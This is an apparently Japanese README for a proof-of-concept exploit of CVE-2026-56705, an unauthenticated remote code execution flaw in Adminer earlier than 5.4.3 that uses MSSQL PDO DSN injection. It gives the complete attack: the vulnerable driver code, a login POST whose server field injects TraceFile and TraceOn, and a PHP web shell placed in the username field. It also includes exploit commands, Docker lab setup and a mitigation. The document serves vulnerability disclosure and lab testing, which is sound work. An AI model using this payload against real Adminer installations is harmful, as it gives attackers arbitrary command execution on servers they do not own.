
PoCエクスプロイト: Adminer < 5.4.3 における MSSQL PDO DSN インジェクションを介した未認証RCE。Dockerラボとネガティブテストを含む。
| CVE | CVE-2026-56705 |
| GHSA | GHSA-r4x9-5m63-3vxw(ベンダー勧告)/ GHSA-34q8-53jm-qc2r(GitHub DB) |
| 製品 | Adminer(単一ファイルPHPデータベース管理ツール) |
| 影響を受けるバージョン | pdo_sqlsrv + Microsoft ODBC Driver for SQL Serverを使用するAdminer < 5.4.3 |
| 修正バージョン | 5.4.3 |
| CVSS | 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| タイプ | CWE-20 → 未認証の任意ファイル書き込み → RCE |
Adminerは、MSSQL接続用のPDO DSNを構築する際に、ユーザーが指定したserverフィールドをサニタイズできていません:
// adminer/drivers/mssql.inc.php
function attach(string $server, string $username, string $password): string {
list($host, $port) = host_port($server);
return $this->dsn("sqlsrv:Server=$host" . ($port ? ",$port" : ""), $username, $password);
}
server内のセミコロンはODBC接続属性の区切り文字として扱われるため、未認証の攻撃者はTraceFileやTraceOnを含む任意の属性をDSNに追加できます。unixODBCのトレース機能は、接続試行の成功に関係なく、その前にかつ無条件に、完全な接続文字列(UID={username}をそのまま含む)をTraceFileに書き込みます。usernameフィールドを介してPHPコードを注入し、TraceFileをWebルートに指定することで、Webシェルが生成されます。
単一の未認証ログインPOSTで十分です。有効な認証情報も、ユーザーの操作も不要です。
auth[driver] = mssql
auth[server] = 127.0.0.1;TraceFile=/var/www/shell.php;TraceOn=1
auth[username] = <?php echo 'POC::'.shell_exec($_GET['c']);?>
auth[password] = x
sqlsrv:Server=127.0.0.1;TraceFile=/var/www/shell.php;TraceOn=1が構築されるUID={<?php ... ?>}を含むトレースを/var/www/shell.phpに書き込むGET /shell.php?c=id → コマンドが実行される# フィンガープリントのみ
python3 poc.py --target http://target/adminer.php --check
# 完全なエクスプロイト(Webルートに<random>.phpを書き込む)
python3 poc.py --target http://target/adminer.php --command "id"
cd lab/
docker build -t adminer-cve-2026-56705 .
docker run -d -p 8081:8081 adminer-cve-2026-56705
python3 ../poc.py --target http://localhost:8081/adminer.php --command id
ラボイメージは勧告の前提条件を正確に再現しています: php:8.3-cli + pdo_sqlsrv(pecl)+ msodbcsql18、WebルートはPHPプロセスによる書き込みが可能です。
mssqlドライバを削除/ブロックするか、リバースプロキシでユーザー指定のserver値から;(および空白)を除去してください。ベンダー勧告では、この発見は報告者とYashar Shahinzadeh(@voorivex)の共同発見とされています。
PoC & ラボ: Hamza Cagrici(@Boreas37)
| 日付 | イベント |
|---|---|
| 2026-08-25 | CVE公開 / Adminer 5.4.3で修正 |